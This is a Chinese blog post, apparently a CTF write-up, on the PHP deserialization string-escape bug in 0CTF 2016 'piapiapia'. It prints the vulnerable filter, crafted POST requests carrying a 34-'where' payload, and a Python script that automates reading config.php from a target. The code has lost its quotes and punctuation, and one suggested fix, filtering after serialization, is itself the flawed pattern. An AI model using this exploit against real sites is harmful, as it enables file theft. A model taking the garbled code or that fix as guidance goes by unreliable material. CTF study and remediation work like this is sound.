PHP 反序列化字符逃逸实战:0CTF 2016 piapiapia 题目 34 个 where 构造详解

发布时间:2026/7/8 19:53:04
PHP 反序列化字符逃逸实战:0CTF 2016 piapiapia 题目 34 个 where 构造详解 PHP反序列化字符逃逸漏洞深度解析从原理到34个where构造实战漏洞背景与原理剖析反序列化漏洞在PHP安全领域一直占据重要地位而字符逃逸String Escape则是其中一种特殊且精妙的攻击方式。这种漏洞通常出现在应用程序对序列化数据进行过滤处理后再进行反序列化操作的场景中。核心原理在于当程序对序列化字符串进行过滤替换时如果替换前后的字符串长度不一致会导致序列化数据的结构被破坏。攻击者可以精心构造payload利用这种长度差异实现逃逸出当前字符串上下文进而控制后续的反序列化过程。在0CTF 2016的piapiapia题目中漏洞点出现在filter()函数对SQL关键词的过滤处理上public function filter($string) { $escape array(\, \\\\); $escape / . implode(|, $escape) . /; $string preg_replace($escape, _, $string); $safe array(select, insert, update, delete, where); $safe / . implode(|, $safe) . /i; return preg_replace($safe, hacker, $string); }这里的关键点在于where5字节被替换为hacker6字节每次替换会增加1字节长度替换操作会影响序列化字符串中的长度标识漏洞利用链分析完整的攻击链涉及多个关键环节数据流路径update.php → serialize($profile) → filter() → 存入数据库 profile.php → 从数据库读取 → unserialize()关键控制点update.php中的nickname参数可控profile.php会读取photo字段并执行file_get_contents()目标是通过反序列化控制photo字段指向config.php长度计算要点原始where5字节 → 替换后hacker6字节需要逃逸的payload;}s:5:photo;s:10:config.php;}34字节因此需要34个where来产生34字节的长度差漏洞利用实战步骤1. 环境准备与初步测试首先注册一个测试账户并登录然后分析更新个人资料的请求POST /update.php HTTP/1.1 Host: target.com Content-Type: multipart/form-data phone13800138000emailtesttest.comnicknametestphototest.jpg通过修改nickname参数进行基础测试$profile [ phone 13800138000, email testtest.com, nickname wherewherewhere, photo upload/test.jpg ]; // 序列化后s:8:nickname;s:15:wherewherewhere // 过滤后s:8:nickname;s:15:hackerhackerhacker → 长度不匹配2. 构造恶意nickname关键突破点在于利用数组绕过nickname的字符限制nickname[]wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere;}s:5:photo;s:10:config.php;}计算过程34个where 170个原始字符替换为hacker后 204个字符34×6需要逃逸的payload 34字节204 - 170 34 → 完美匹配3. 完整攻击流程注册一个测试账户登录后访问update.php提交特制的nickname数组POST /update.php HTTP/1.1 Content-Type: multipart/form-data phone13800138000emailtesttest.comnickname[]where...[34个]...where;}s:5:photo;s:10:config.php;}phototest.jpg访问profile.php获取包含config.php内容的图片base64解码base64获取flag4. 自动化利用脚本import requests import re import base64 TARGET http://target.com/ SESSION requests.Session() # 注册用户 username testuser123 password test123 SESSION.post(TARGET register.php, data{ username: username, password: password }) # 登录 SESSION.post(TARGET index.php, data{ username: username, password: password }) # 构造恶意nickname payload where * 34 ;}s:5:photo;s:10:config.php;} # 提交恶意数据 files {photo: (test.jpg, bGIF89a, image/gif)} data { phone: 13800138000, email: testtest.com, nickname[]: payload } SESSION.post(TARGET update.php, datadata, filesfiles) # 获取flag response SESSION.get(TARGET profile.php).text match re.search(rbase64,([^]), response) if match: print(base64.b64decode(match.group(1)).decode())漏洞修复方案输入验证// 严格限制nickname的输入格式 if (!preg_match(/^[a-zA-Z0-9_]{1,10}$/, $_POST[nickname])) { die(Invalid nickname); }序列化处理改进// 先序列化再过滤避免破坏数据结构 $serialized serialize($profile); // 或者使用JSON替代序列化 $json json_encode($profile);安全过滤策略// 使用白名单替代黑名单 $allowed /[^a-zA-Z0-9_]/; $filtered preg_replace($allowed, , $input);文件读取限制// 限制文件读取路径 if (strpos($profile[photo], upload/) ! 0) { die(Invalid photo path); }深入技术细节序列化结构分析正常序列化数据a:4:{ s:5:phone;s:11:13800138000; s:5:email;s:11:testtest.com; s:8:nickname;s:4:test; s:5:photo;s:15:upload/test.jpg; }恶意构造后的数据a:4:{ s:5:phone;s:11:13800138000; s:5:email;s:11:testtest.com; s:8:nickname;s:204:hacker...[34个]...hacker; s:5:photo;s:10:config.php; };s:5:photo;s:15:upload/test.jpg;}关键长度计算表项目原始长度替换后长度差值1个where56134个where17020434逃逸payload34--不同PHP版本的影响PHP 5.x vs PHP 7.x对反序列化处理的差异特性PHP 5.xPHP 7.x严格模式无有错误处理宽松严格类自动加载支持改进在实际测试中发现PHP 7.x对序列化字符串的结构检查更为严格但本漏洞利用方式在两个版本中均有效。